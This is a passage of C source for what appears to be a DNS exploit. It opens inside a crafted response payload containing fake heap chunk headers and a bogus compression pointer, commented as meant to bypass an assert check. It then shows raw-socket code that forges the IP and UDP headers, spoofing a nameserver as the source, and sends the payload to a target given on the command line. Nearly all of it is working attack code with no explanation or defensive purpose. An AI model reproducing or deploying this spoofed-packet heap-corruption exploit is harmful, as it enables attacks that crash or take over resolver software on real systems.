55 "\x00\x00\x00\x00\x00\x00\x00\x00"
56 "\x00\x00\x00\x00\x00\x00\x00\x00"
57 "\x00\x00\x00\x00\x00\x00\x00\x00"
58 "\x00\x00\x00\x00\x00\x00\x00\x3f"
59
60 "\x00\x00\x00\x00\x00\x00\x00\x00" /* 64-127 */
61 "\x00\x00\x00\x00\x00\x00\x00\x00"
62 "\x00\x00\x00\x00\x00\x00\x00\x00"
63 "\x00\x00\x00\x00\x00\x00\x00\x00"
64 "\x00\x00\x00\x00\x00\x00\x00\x00"
65 "\x00\x00\x00\x00\x00\x00\x00\x00"
66 "\x00\x00\x00\x00\x00\x00\x00\x00"
67 "\x00\x00\x00\x00\x00\x00\x00\x3f"
68
69 "\x00\x00\x00\x00\x00\x00\x00\x00" /* 128-191 */
70 "\x00\x00\x00\x00\x00\x00\x00\x00"
71 "\x00\x00\x00\x00\x00\x00\x00\x00"
72 "\x00\x00\x00\x00\x00\x00\x00\x00"
73 "\x00\x00\x00\x00\x00\x00\x00\x00"
74 "\x00\x00\x00\x00\x00\x00\x00\x00"
75 "\x00\x00\x00\x00\x00\x00\x00\x00"
76 "\x00\x00\x00\x00\x00\x00\x00\x3f"
77
78 "\x00\x00\x00\x00\x00\x00\x00\x00" /* 192-255 */
79 "\x00\x00\x00\x00\x00\x00\x00\x00"
80 "\x00\x00\x00\x00\x00\x00\x00\x00"
81 "\x00\x00\x00\x00\x00\x00\x00\x00"
82 "\x00\x00\x00\x00\x00\x00\x00\x00"
83 "\x00\x00\x00\x00\x00\x00\x00\x00"
84 "\x00\x00\x00\x00\x00\x00\x00\x00"
85 "\x00\x00\x00\x00\x00\x00\x00\x3f"
86
87 "\x00\x00\x00\x00\x00\x00\x00\x00" /* 256-319 */
88 "\x00\x00\x00\x00\x00\x00\x00\x00"
89 "\x00\x00\x00\x00\x00\x00\x00\x00"
90 "\x00\x00\x00\x00\x00\x00\x00\x00"
91 /* first malloc chunk */
92 "\x00\x00\x00\x00\x41\x00\x00\x00"
93 "\x55\x55\x55\x55\x66\x66\x66\x66"
94 "\x00\x00\x00\x00\x00\x00\x00\x00"
95 "\x00\x00\x00\x00\x00\x00\x00\x3f"
96
97 "\x00\x00\x00\x00\x00\x00\x00\x00" /* 320-382 */
98 "\x00\x00\x00\x00\x00\x00\x00\x00"
99 "\x00\x00\x00\x00\x00\x00\x00\x00"
100 "\x00\x00\x00\x00\x00\x00\x00\x00"
101 /* second malloc chunk */
102 "\x00\x00\x00\x00\x48\x01\x00\x00"
103 "\x00\x00\x00\x00\x00\x00\x00\x00"
104 "\x00\x00\x00\x00\x00\x00\x00\x00"
105 "\x00\x00\x00\x00\x00\x00\x00"
106
107 "\xC0\x0C" /* fake compression, to bypass assert check */
108
109 /* answer 2 */
110 "\xC0\x1C" /* dont waste space */
111 "\x00\x01\x00\x01\x00\x00\x01\x2c"
112 "\x00\x00";
113
114/*
115 * in_cksum --
116 * Checksum routine for Internet Protocol family headers (C Version)
117 */
118unsigned short in_cksum(addr, len)
119u_short *addr;
120int len;
121{
122 register int nleft = len;
123 register u_short *w = addr;
124 register int sum = 0;
125 u_short answer = 0;
126
127 /*
128 * Our algorithm is simple, using a 32 bit accumulator (sum), we add
129 * sequential 16 bit words to it, and at the end, fold back all the
130 * carry bits from the top 16 bits into the lower 16 bits.
131 */
132 while (nleft > 1) {
133 sum += *w++;
134 nleft -= 2;
135 }
136
137 /* mop up an odd byte, if necessary */
138 if (nleft == 1) {
139 *(u_char *)(&answer) = *(u_char *)w ;
140 sum += answer;
141 }
142
143 /* add back carry outs from top 16 bits to low 16 bits */
144 sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
145 sum += (sum >> 16); /* add carry */
146 answer = ~sum; /* truncate to 16 bits */
147 return(answer);
148}
149
150/* Send faked UDP packet. */
151int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
152struct sockaddr_in *sin;
153unsigned short int s, datalen, sport, dport;
154unsigned long int saddr, daddr;
155char *data;
156{
157 struct iphdr ip;
158 struct udphdr udp;
159 static char packet[8192];
160
161 /* Fill in IP header values. */
162 ip.ihl = 5;
163 ip.version = 4;
164 ip.tos = 0;
165 ip.tot_len = htons(28 + datalen);
166 ip.id = htons(31337 + (rand()%100));
167 ip.frag_off = 0;
168 ip.ttl = 255;
169 ip.protocol = IPPROTO_UDP;
170 ip.check = 0;
171 ip.saddr = saddr;
172 ip.daddr = daddr;
173 ip.check = in_cksum((char *)&ip, sizeof(ip));
174
175 /* Fill in UDP header values. Checksums are unnecassary. */
176 udp.source = htons(sport);
177 udp.dest = htons(dport);
178 udp.len = htons(8 + datalen);
179 udp.check = (short) 0;
180
181 /* Copy the headers into our character array. */
182 memcpy(packet, (char *)&ip, sizeof(ip));
183 memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
184 memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);
185
186 return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
187 (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
188}
189
190
191int send_packet (char *nsname, short nsport, char *dest, short port, char *buf, int size)
192{
193 int fd, socktolen, r;
194 struct sockaddr_in sockto;
195 struct in_addr in, ns;
196
197 fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
198 if (fd == -1) {
199 perror ("unable to create raw socket: ");
200 exit (1);
201 }
202 socktolen = sizeof (struct sockaddr_in);
203
204 inet_aton (dest, &in);
205 inet_aton (nsname, &ns);
206
207 socktolen = sizeof (struct sockaddr_in);
208 memset (&sockto, 0, socktolen);
209 sockto.sin_family = AF_INET;
210 sockto.sin_port = htons (port);
211 sockto.sin_addr.s_addr = in.s_addr;
212
213 sendpkt_udp (&sockto, fd, buf, size, ns.s_addr, in.s_addr, nsport, port);
214
215}
216
217
218int main (int argc, char **argv)
219{
220 char buffer[512];
221 FILE *f;int len;
222
223 if (argc!=5) {
224 printf ("where is the dest?");
225 }
226 len=sizeof (buffer);
227 memset (buffer, 0, len);
228 memcpy (buffer, udp_packet, sizeof (udp_packet));
229
230 send_packet (argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), (char *)&buffer, len);
231
232}